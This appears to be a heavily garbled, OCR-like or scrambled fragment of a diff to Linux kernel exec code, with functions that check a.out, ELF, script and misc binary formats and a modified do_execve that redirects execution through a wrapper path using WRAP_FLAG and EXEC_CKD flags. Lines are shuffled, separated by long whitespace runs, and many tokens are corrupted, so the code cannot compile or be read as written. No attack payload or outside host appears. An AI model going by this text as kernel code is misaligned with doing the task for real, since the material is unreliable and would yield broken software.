                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (get_user(str, argv+argc) || !(len = strnlen_user(str,
                                                                                                                                                                                                                                                                                                                                                         if (get_user(str, argv+argc) || !(len = strnlen_user(str, bprm-
                                                                                                                                                                                                                                                                                                                                                                                                      printk(KERN_CRIT "copy_strings 1\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ř
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if(++i >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (!p)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (!p) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if(++i >
                                                                   ΞÉ
                                                                                                                                          if (err) (
                                                                                                                printk(KERN_CRIT "copy_strings 2\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (get_user(p, argv)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (get_user(p, argv))
                                                                     (err)
                                                                                                                                                                                                                                    if (DEBUG_MEM)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          max)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       max) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          end ***/
                                                                                                                                                                                                                                      printk("page allocated
                                                                                                                                                                                                                                          from copy_strings
                                                                                                                                                                                                                                                                                                                                                                                                                                                              -urada
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             > if (path_init(name, LOOKUP_FOLLOW|LOOKUP_POSITIVE, &nd))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  < /* DTK: The rec_xxx_binary() methods return 1 if the binary format
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             929,1115d851
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         886c809
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 842d765
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        name)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             434d358
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   427,428c354
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            421d348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         418,419d347
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        < int rec_aout_binary(struct linux_binprm *bprm, struct pt_regs *regs)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                from open_exec\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       432d357
                                                                                                                                                                                                                                                                                                                                        int rec_elf_binary(struct linux_binprm *bprm, struct pt_regs *regs)
     static Node *check_file(struct linux_binprm *bprm)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    * recognized and 0 otherwise.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (path_init(name, LOOKUP_FOLLOW|LOOKUP_POSITIVE, &nd)) {
                                                                                             else {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct exec ex;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     * load_xxx_binary() methods defined in
                                                                                                                                                                                                                                                                                                                                                                                                                                                          ex.a_text+ex.a_data+N_SYMSIZE(ex)+N_TXTOFF(ex)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             N_TRSIZE(ex) | N_DRSIZE(ex)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   N_MAGIC(ex) != QMAGIC && N_MAGIC(ex)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ex = *((struct exec *) bprm->buf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    bprm->file->f_dentry->d_inode->i_size <
                                                                                                                                                                                                                                                                  elf_ex = *((struct elfhdr *)
                                                                                                                                                                                                                                                                                           struct elfhdr elf_ex;
                                                                                                                                                                                                                                                                                                                                                                                       else { return 1; }
                                                                                                                                                                                                                                                                                                                                                                                                                                       return -ENOEXEC;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if ((N_MAGIC(ex) != ZMAGIC && N_MAGIC(ex) != OMAGIC &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (DEBUGGING) printk(KERN_CRIT "open_exec(%s)\n", name);
                                                                                                                                                                                                                                            if ( memcmp(elf_ex.e_ident,
                                                                         return 1;
                                                                                                                                                                 (!bprm->file->f_op||!bprm->file->f_op->mmap) ) {
                                                                                                                                                                                             (!elf_check_arch(&elf_ex)
                                                                                                                                                                                                                  (elf_ex.e_type != ET_EXEC && elf_ex.e_type !=
                                                                                                                                              return -ENOEXEC;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int err =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (DEBUG_MEM) printk(KERN_CRIT *%s: about to dentry_open
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             err =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           permission(inode,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            permission(inode, MAY_EXEC);
                                                                                                                                                                                                                                                                    bprm->buf);
                                                                                                                                                                                                                                            ELFMAG, SELFMAG) != 0) ||
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       The checks are taken directly
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             MAY_EXEC);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   != NMAGIC) ||
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fs/binfmt_xxx.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* exec-header */
                                                                                                                                                                                                                     ET_DYN) |
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           from
```

```
>sh_bang))
                                                                                                                                                                                                                                                                                                                      < int rec_script_binary(struct linux_binprm *bprm, struct pt_regs
                                                                                                                                                                                                                                                                                             *regs)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       int rec_misc_binary(struct linux_binprm *bprm, struct pt_regs *regs)
                                                                                                                                                        if ((bprm->buf[0] != '#') || (bprm->buf[1] != '!') || (bprm-
                                                                                                                                                                                                              char interp[BINPRM_BUF_SIZE];
                                                                                                                                                                                                                                         char *cp, *i_name, *i_arg;
struct file *file;
                                                                                                                                                                                                                                                                                                                                                                           else { return 1; }
                                                                                                                                                                                                                                                                                                                                                                                                if (!fmt) { return -ENOEXEC; }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 char iname(BINPRM_BUF_SIZE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          char *p = strrchr(bprm->filename, '.');
  bprm->sh_bang++;
                                                                                  return -ENOEXEC;
                                                                                                     if (DEBUGGING) printk(KERN_CRIT "#! not recognized\n");
                                                                                                                                                                                       int retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               strncpy(iname, fmt->interpreter, BINPRM_BUF_SIZE -
iname[BINPRM_BUF_SIZE - 1] = '\0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        read_lock(&entries_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Node *fmt;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     for (l = entries.next; l != &entries; l = l->next) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    struct list_head *1;
                          // DTK: Now make sure the specified interpreter can be
                                                                                                                                                                                                                                                                                                                                                                                                                             read_unlock(&entries_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (fmt) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fmt = check_file(bprm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (e->mask) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (3)
||
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (!test_bit(Magic, &e->flags)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (!test_bit(Enabled,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       char *s;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Node *e = list_entry(1, Node, list);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              } else {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           G.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (p && !strcmp(e->magic, p + 1))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return e;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 for (j = 0; j < e->size;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    for (j = 0; j < e->size; j++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              bprm->buf + e->offset;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               == e->size)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if ((*s++ ^
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if ((*s++ ^
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return e;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      preak;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          e->magic[j]))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               e->magic[j]) & e->mask[j])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               &e->flags))
                          executed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        while (cp > bprm->buf) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            * user environment and arguments
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       strcpy (interp, i_name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                while ((*cp == ' ') || (*cp == '\t'))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                retval = copy_strings_kernel(1, &bprm->filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           * This is done in reverse order,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (*cp == '\0')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               *cp = '\0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if ((*cp == ' ') || (*cp ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cp = bprm->buf+BINPRM_BUF_SIZE-1;
goto out;
                                                                                                                                                                                                                                                                                                                                                                 retval = copy_strings_kernel(1, &i_name, bprm)
                                                                                                                                                                                                                                                                                                                                                                                                                                               if (retval < 0) return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          retval = copy_strings_kernel(1, &i_arg, bprm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (i_arg) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             remove_arg_zero(bprm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                * (optional) argument.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       *cp++ = '\0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            i_name = cp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return -ENOEXEC; /* No interpreter name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                for (cp = bprm->buf+2; (*cp == ' ') || (*cp == '\t'); cp++);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   cp--;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       *cp = '(0');
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if ((cp = strchr(bprm->buf, '\n')) == NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               bprm->buf[BINPRM_BUF_SIZE - 1] = '\0';
                                                 retval = prepare_binprm(bprm);
                                                                            bprm->file = file;
                                                                                                                       return PTR_ERR(file);
                                                                                                                                                        if (IS_ERR(file)) {
                                                                                                                                                                                 printk(KERN_CRIT "file is NULL\n");
                                                                                                                                                                                                              if (! file)
                                                                                                                                                                                                                                     file = open_exec(interp);
                                                                                                                                                                                                                                                                                    /*< * OK, now restart the process with the interpreter's dentry.</pre>
                                                                                                                                                                                                                                                                                                                   bprm->argc++;
                                                                                                                                                                                                                                                                                                                                          if (retval) return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                           bprm->argc++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  bprm->argc++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (retval < 0) return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (*cp)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* nothing */;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      for ( ; *cp && (*cp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   i\_arg = 0;
                        if (retval < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /*< * OK, we've parsed out the interpreter name and</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1_arg = cp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Splice in (1) the interpreter's name for argv[0]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (2) (optional) argument to interpreter
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (DEBUGGING) printk(KERN_CRIT "interp:%s\n", interp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    filename of shell script (replace argv[0])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  != ' ') && (*cp != '\t'); cp++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          741)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                are stored
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           because of how the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    found
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ; (mrdq
```

```
none
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1119,1123d854
                     ٨
                                         1176,1177c890,891
                                                                     1174a888
                                                                                                                                                                                                                                                       1167,1172c884,885
                                                                                                                                                                                                                                                                                                                                                                                                                                             1157,1162c878,879
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               1145c865,866
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             1143d863
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       1133,1141d862
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       1131d861
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1129c860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  retval = PTR_ERR(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           char * orig_filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              out:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int retval, retval_aout, retval_elf, retval_misc,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (IS_ERR(file))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        retval = PTR_ERR(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          orig_filename =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    retval = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (IS_ERR(file))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if ( (current->flags & EXEC_CKD)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (file) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // Specified interpreter is executable
                       if (retval < 0)</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (DEBUGGING) printk(KERN_CRIT "do_execve(%s)\n", filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             The EXEC_CKD flag keeps track of the recursion-
goto out;

    EXEC_CKD on: filename

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         fput(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             allow_write_access(file);
                                                                                                             allow_write_access(file);
                                                                                                                                                                                                                                                                                                 allow_write_access(file);
                                                                                                                                                                                                                                                                                                                                                                                                                   if (file) {
                                                                                       fput(file);
                                                                                                                                                                                                                             if (file) {
                                                                                                                                                                                                                                                                           fput (file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           EXEC_CKD off: filename has not been checked for
                                                                                                                                                                                                      allow_write_access(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       filename = WRAP_PATH
                                                                                                                                                                                                                                                                                                                                                                        fput (file);
                                                                                                                                                                                                                                                                                                                                                                                             allow_write_access(file);
                                                                                                                                                                                  fput(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           has been checked for exec
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ኤ
ኤ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (current->flags & WRAP_FLAG)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          retval_script;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               exec errors
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             errors and
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             has
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    WRAP_FLAG) ) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GFP_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1188,1271c902,904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if ((current->flags & WRAP_FLAG)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 // If this is the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (retval < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if ( (! (current->flags & EXEC_CKD)) && (current->flags
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    else (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (retval < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           end of argv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                newArgv = (char **) kmalloc(sizeof(char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           retval =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char ** newArgv;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                retval = copy_strings_kernel(bprm.argc,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             newArgv[j+1] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 newArgv[j] = orig_filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (! newArgv) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      int j;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               kfree(newArgv);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //(char **) (*regs).ecx = newArgv;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     bprm.argc++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          for (j = 0; j < bprm.argc; j++) { newArgv[j] = argv[j]; }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               retval = -ENOMEM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //(char *) (*regs).ebx = filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (DEBUG_MEM) printk("kmalloc'ing from do_execve(%s)\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              goto out;
